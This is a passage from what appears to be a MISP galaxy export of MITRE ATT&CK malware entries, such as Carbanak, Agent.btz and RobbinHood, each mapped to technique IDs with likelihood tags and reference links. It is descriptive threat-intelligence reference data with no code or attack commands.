uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
Links |
Android/Chuli.A - S0304
[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)
The tag is: misp-galaxy:mitre-malware="Android/Chuli.A - S0304"
Android/Chuli.A - S0304 is also known as:
-
Android/Chuli.A
Android/Chuli.A - S0304 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/ |
Trojan.Mebromi - S0001
[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)
The tag is: misp-galaxy:mitre-malware="Trojan.Mebromi - S0001"
Trojan.Mebromi - S0001 is also known as:
-
Trojan.Mebromi
Trojan.Mebromi - S0001 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/connect/blogs/bios-threat-showing-again |
ANDROIDOS_ANSERVER.A - S0310
[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)
The tag is: misp-galaxy:mitre-malware="ANDROIDOS_ANSERVER.A - S0310"
ANDROIDOS_ANSERVER.A - S0310 is also known as:
-
ANDROIDOS_ANSERVER.A
ANDROIDOS_ANSERVER.A - S0310 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/ |
Agent.btz - S0092
[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)
The tag is: misp-galaxy:mitre-malware="Agent.btz - S0092"
Agent.btz - S0092 is also known as:
-
Agent.btz
Agent.btz - S0092 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/agent-btz-a-source-of-inspiration/58551/ |
Backdoor.Oldrea - S0093
[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)
The tag is: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"
Backdoor.Oldrea - S0093 is also known as:
-
Backdoor.Oldrea
-
Havex
Backdoor.Oldrea - S0093 has relationships with:
-
similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
Trojan.Karagany - S0094
[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)
The tag is: misp-galaxy:mitre-malware="Trojan.Karagany - S0094"
Trojan.Karagany - S0094 is also known as:
-
Trojan.Karagany
Trojan.Karagany - S0094 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
OSX_OCEANLOTUS.D - S0352
[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)
The tag is: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352"
OSX_OCEANLOTUS.D - S0352 is also known as:
-
OSX_OCEANLOTUS.D
OSX_OCEANLOTUS.D - S0352 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
OSX/Shlayer - S0402
[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)
The tag is: misp-galaxy:mitre-malware="OSX/Shlayer - S0402"
OSX/Shlayer - S0402 is also known as:
-
OSX/Shlayer
-
Crossrider
OSX/Shlayer - S0402 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ |
T9000 - S0098
[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)
The tag is: misp-galaxy:mitre-malware="T9000 - S0098"
T9000 - S0098 is also known as:
-
T9000
T9000 - S0098 has relationships with:
-
similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
BS2005 - S0014
[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)
The tag is: misp-galaxy:mitre-malware="BS2005 - S0014"
BS2005 - S0014 is also known as:
-
BS2005
BS2005 - S0014 has relationships with:
-
similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
Links |
Sys10 - S0060
[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)
The tag is: misp-galaxy:mitre-malware="Sys10 - S0060"
Sys10 - S0060 is also known as:
-
Sys10
Sys10 - S0060 has relationships with:
-
similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
Lurid - S0010
[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)
The tag is: misp-galaxy:mitre-malware="Lurid - S0010"
Lurid - S0010 is also known as:
-
Lurid
-
Enfal
Lurid - S0010 has relationships with:
-
similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
Dipsind - S0200
[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)
The tag is: misp-galaxy:mitre-malware="Dipsind - S0200"
Dipsind - S0200 is also known as:
-
Dipsind
Dipsind - S0200 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
DressCode - S0300
[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)
The tag is: misp-galaxy:mitre-malware="DressCode - S0300"
DressCode - S0300 is also known as:
-
DressCode
DressCode - S0300 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/ |
Carbanak - S0030
[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)
The tag is: misp-galaxy:mitre-malware="Carbanak - S0030"
Carbanak - S0030 is also known as:
-
Carbanak
-
Anunak
Carbanak - S0030 has relationships with:
-
similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
RIPTIDE - S0003
[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)
The tag is: misp-galaxy:mitre-malware="RIPTIDE - S0003"
RIPTIDE - S0003 is also known as:
-
RIPTIDE
RIPTIDE - S0003 has relationships with:
-
similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
TinyZBot - S0004
[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)
The tag is: misp-galaxy:mitre-malware="TinyZBot - S0004"
TinyZBot - S0004 is also known as:
-
TinyZBot
TinyZBot - S0004 has relationships with:
-
similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
RobbinHood - S0400
[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government’s computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)
The tag is: misp-galaxy:mitre-malware="RobbinHood - S0400"
RobbinHood - S0400 is also known as:
-
RobbinHood
RobbinHood - S0400 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html |
CosmicDuke - S0050
[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="CosmicDuke - S0050"
CosmicDuke - S0050 is also known as:
-
CosmicDuke
-
TinyBaron
-
BotgenStudios
-
NemesisGemina
CosmicDuke - S0050 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
HTTPBrowser - S0070
[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)
The tag is: misp-galaxy:mitre-malware="HTTPBrowser - S0070"
HTTPBrowser - S0070 is also known as:
-
HTTPBrowser
-
Token Control
-
HttpDump
HTTPBrowser - S0070 has relationships with:
-
similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
Mivast - S0080
[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)
The tag is: misp-galaxy:mitre-malware="Mivast - S0080"
Mivast - S0080 is also known as:
-
Mivast
Mivast - S0080 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2 |
Hikit - S0009
[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise. (Citation: Novetta-Axiom)
The tag is: misp-galaxy:mitre-malware="Hikit - S0009"
Hikit - S0009 is also known as:
-
Hikit
Hikit - S0009 has relationships with:
-
similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
Rover - S0090
[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)
The tag is: misp-galaxy:mitre-malware="Rover - S0090"
